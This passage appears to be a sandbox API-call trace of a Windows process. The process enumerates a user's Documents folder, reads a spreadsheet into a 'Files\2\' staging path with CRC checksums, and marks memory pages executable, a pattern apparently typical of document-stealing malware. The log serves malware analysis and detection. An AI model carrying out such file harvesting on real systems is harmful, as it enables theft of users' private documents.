pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\6JHWtYVA.docx") returned 1 [0165.762] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\6JHWtYVA.docx", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\6JHWtYVA.docx") returned 1 [0165.762] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\6JHWtYVA.docx", psz="C:\\Users\\aETAdzjz\\Documents\\6JHWtYVA.docx", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\6JHWtYVA.docx") returned 1 [0165.763] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\6JHWtYVA.docx", len=0x29 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\6JHWtYVA.docx") returned 1 [0165.763] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\6JHWtYVA.docx", psz="C:\\Users\\aETAdzjz\\Documents\\6JHWtYVA.docx", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\6JHWtYVA.docx") returned 1 [0165.763] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc92e9190, ftCreationTime.dwHighDateTime=0x1d56ddd, ftLastAccessTime.dwLowDateTime=0x5aac2770, ftLastAccessTime.dwHighDateTime=0x1d579de, ftLastWriteTime.dwLowDateTime=0x5aac2770, ftLastWriteTime.dwHighDateTime=0x1d579de, nFileSizeHigh=0x0, nFileSizeLow=0x12699, dwReserved0=0x0, dwReserved1=0x0, cFileName="7MXeb0dwO8o6FD-vGZ2S.xlsx", cAlternateFileName="7MXEB0~1.XLS")) returned 1 [0165.763] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\6JHWtYVA.docx", psz="C:\\Users\\aETAdzjz\\Documents\\\\7MXeb0dwO8o6FD-vGZ2S.xlsx", len=0x36 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\7MXeb0dwO8o6FD-vGZ2S.xlsx") returned 1 [0165.763] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\7MXeb0dwO8o6FD-vGZ2S.xlsx", len=0x36 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\7MXeb0dwO8o6FD-vGZ2S.xlsx") returned 1 [0165.763] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\7MXeb0dwO8o6FD-vGZ2S.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\\\7MXeb0dwO8o6FD-vGZ2S.xlsx", len=0x36 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\7MXeb0dwO8o6FD-vGZ2S.xlsx") returned 1 [0165.763] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\7MXeb0dwO8o6FD-vGZ2S.xlsx", len=0x35 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\7MXeb0dwO8o6FD-vGZ2S.xlsx") returned 1 [0165.763] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\7MXeb0dwO8o6FD-vGZ2S.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\7MXeb0dwO8o6FD-vGZ2S.xlsx", len=0x35 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\7MXeb0dwO8o6FD-vGZ2S.xlsx") returned 1 [0165.763] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\7MXeb0dwO8o6FD-vGZ2S.xlsx", len=0x35 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\7MXeb0dwO8o6FD-vGZ2S.xlsx") returned 1 [0165.763] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\7MXeb0dwO8o6FD-vGZ2S.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\7MXeb0dwO8o6FD-vGZ2S.xlsx", len=0x35 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\7MXeb0dwO8o6FD-vGZ2S.xlsx") returned 1 [0165.764] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8256e370, ftCreationTime.dwHighDateTime=0x1d5dffd, ftLastAccessTime.dwLowDateTime=0x3eb2f950, ftLastAccessTime.dwHighDateTime=0x1d5a5e8, ftLastWriteTime.dwLowDateTime=0x3eb2f950, ftLastWriteTime.dwHighDateTime=0x1d5a5e8, nFileSizeHigh=0x0, nFileSizeLow=0x8472, dwReserved0=0x0, dwReserved1=0x0, cFileName="BNdr6TkkzaEpTvR.docx", cAlternateFileName="BNDR6T~1.DOC")) returned 1 [0165.764] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\7MXeb0dwO8o6FD-vGZ2S.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\\\BNdr6TkkzaEpTvR.docx", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\BNdr6TkkzaEpTvR.docx") returned 1 [0165.764] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\BNdr6TkkzaEpTvR.docx", len=0x31 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\BNdr6TkkzaEpTvR.docx") returned 1 [0165.764] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\BNdr6TkkzaEpTvR.docx", psz="C:\\Users\\aETAdzjz\\Documents\\\\BNdr6TkkzaEpTvR.docx", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\BNdr6TkkzaEpTvR.docx") returned 1 [0165.764] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\BNdr6TkkzaEpTvR.docx", len=0x30 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\BNdr6TkkzaEpTvR.docx") returned 1 [0165.764] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\BNdr6TkkzaEpTvR.docx", psz="C:\\Users\\aETAdzjz\\Documents\\BNdr6TkkzaEpTvR.docx", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\BNdr6TkkzaEpTvR.docx") returned 1 [0165.764] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\BNdr6TkkzaEpTvR.docx", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\BNdr6TkkzaEpTvR.docx") returned 1 [0165.764] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\BNdr6TkkzaEpTvR.docx", psz="C:\\Users\\aETAdzjz\\Documents\\BNdr6TkkzaEpTvR.docx", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\BNdr6TkkzaEpTvR.docx") returned 1 [0165.764] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x548bc6b0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x5547d350, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb2b92ac0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0165.764] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\BNdr6TkkzaEpTvR.docx", psz="C:\\Users\\aETAdzjz\\Documents\\\\Database1.accdb", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Database1.accdb") returned 1 [0165.765] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\Database1.accdb", len=0x2c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\Database1.accdb") returned 1 [0165.765] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Database1.accdb", psz="C:\\Users\\aETAdzjz\\Documents\\\\Database1.accdb", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Database1.accdb") returned 1 [0165.765] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Database1.accdb", len=0x2b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned 1 [0165.765] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Database1.accdb", psz="C:\\Users\\aETAdzjz\\Documents\\Database1.accdb", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned 1 [0165.765] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Database1.accdb", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned 1 [0165.765] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Database1.accdb", psz="C:\\Users\\aETAdzjz\\Documents\\Database1.accdb", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned 1 [0165.765] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x233cf8c0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x233cf8c0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x27b84f80, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.765] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Database1.accdb", psz="C:\\Users\\aETAdzjz\\Documents\\\\desktop.ini", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\desktop.ini") returned 1 [0165.765] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\desktop.ini", len=0x28 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\desktop.ini") returned 1 [0165.766] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Documents\\\\desktop.ini", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\desktop.ini") returned 1 [0165.766] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\desktop.ini", len=0x27 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned 1 [0165.766] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Documents\\desktop.ini", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned 1 [0165.766] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\desktop.ini", len=0x27 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned 1 [0165.766] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Documents\\desktop.ini", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned 1 [0165.766] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8e6610, ftCreationTime.dwHighDateTime=0x1d57096, ftLastAccessTime.dwLowDateTime=0x229d1f0, ftLastAccessTime.dwHighDateTime=0x1d5a0a9, ftLastWriteTime.dwLowDateTime=0x229d1f0, ftLastWriteTime.dwHighDateTime=0x1d5a0a9, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="fqs7LNS.xlsx", cAlternateFileName="FQS7LN~1.XLS")) returned 1 [0165.766] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Documents\\\\fqs7LNS.xlsx", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\fqs7LNS.xlsx") returned 1 [0165.766] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\fqs7LNS.xlsx", len=0x29 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\fqs7LNS.xlsx") returned 1 [0165.766] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\\\fqs7LNS.xlsx", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\fqs7LNS.xlsx") returned 1 [0165.766] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7dfa08*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\", len=0x1d | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\\\") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\", len=0x1d | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\\\", psz="C:\\Users\\aETAdzjz\\Documents\\\\", len=0x1d | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\\\") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.767] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.768] SysReAllocStringLen (in: pbstr=0x1e7dfc88*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.768] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.768] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.768] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.768] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.768] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.768] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.768] SysReAllocStringLen (in: pbstr=0x1e7dfa00*=0x0, psz="Files\\2\\\\fqs7LNS.xlsx", len=0x15 | out: pbstr=0x1e7dfa00*="Files\\2\\\\fqs7LNS.xlsx") returned 1 [0165.769] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="Files\\2\\\\fqs7LNS.xlsx", len=0x15 | out: pbstr=0x1e7df978*="Files\\2\\\\fqs7LNS.xlsx") returned 1 [0165.769] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\fqs7LNS.xlsx", psz="Files\\2\\\\fqs7LNS.xlsx", len=0x15 | out: pbstr=0x1e7dfa00*="Files\\2\\\\fqs7LNS.xlsx") returned 1 [0165.769] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="Files\\2\\fqs7LNS.xlsx", len=0x14 | out: pbstr=0x1e7df974*="Files\\2\\fqs7LNS.xlsx") returned 1 [0165.769] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\fqs7LNS.xlsx", psz="Files\\2\\fqs7LNS.xlsx", len=0x14 | out: pbstr=0x1e7dfa00*="Files\\2\\fqs7LNS.xlsx") returned 1 [0165.769] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="Files\\2\\fqs7LNS.xlsx", len=0x14 | out: pbstr=0x1e7df970*="Files\\2\\fqs7LNS.xlsx") returned 1 [0165.769] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\fqs7LNS.xlsx", psz="Files\\2\\fqs7LNS.xlsx", len=0x14 | out: pbstr=0x1e7dfa00*="Files\\2\\fqs7LNS.xlsx") returned 1 [0165.769] SysReAllocStringLen (in: pbstr=0x1e7df9f8*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.770] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.770] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.770] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.770] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.770] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.770] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", len=0x28 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx") returned 1 [0165.771] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx" (normalized: "c:\\users\\aetadzjz\\documents\\fqs7lns.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x310 [0165.771] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x1e7df948 | out: lpFileSizeHigh=0x1e7df948*=0x0) returned 0x1ec4 [0165.771] ReadFile (in: hFile=0x310, lpBuffer=0x1fcfaf44, nNumberOfBytesToRead=0x1ec4, lpNumberOfBytesRead=0x1e7df944, lpOverlapped=0x0 | out: lpBuffer=0x1fcfaf44*, lpNumberOfBytesRead=0x1e7df944*=0x1ec4, lpOverlapped=0x0) returned 1 [0165.772] CloseHandle (hObject=0x310) returned 1 [0165.772] CharToOemBuffA (in: lpszSrc="Files\\2\\fqs7LNS.xlsx", lpszDst=0x1fd12ba8, cchDstLength=0x14 | out: lpszDst="Files\\2\\fqs7LNS.xlsx") returned 1 [0165.772] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fd07170, Length=0x1ec4) returned 0xae082a69 [0165.772] VirtualAlloc (lpAddress=0x1fd14000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd14000 [0165.773] VirtualFree (lpAddress=0x1fd0c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.774] VirtualFree (lpAddress=0x1fd08000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.774] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\curbuf.dat", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat") returned 0x30 [0165.774] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\curbuf.dat")) returned 0 [0165.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.779] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ca1a420, ftCreationTime.dwHighDateTime=0x1d5db11, ftLastAccessTime.dwLowDateTime=0x49e69910, ftLastAccessTime.dwHighDateTime=0x1d58d35, ftLastWriteTime.dwLowDateTime=0x49e69910, ftLastWriteTime.dwHighDateTime=0x1d58d35, nFileSizeHigh=0x0, nFileSizeLow=0x23b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="imR3uKJ.xlsx", cAlternateFileName="IMR3UK~1.XLS")) returned 1 [0165.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.781] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\\\imR3uKJ.xlsx", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\imR3uKJ.xlsx") returned 1 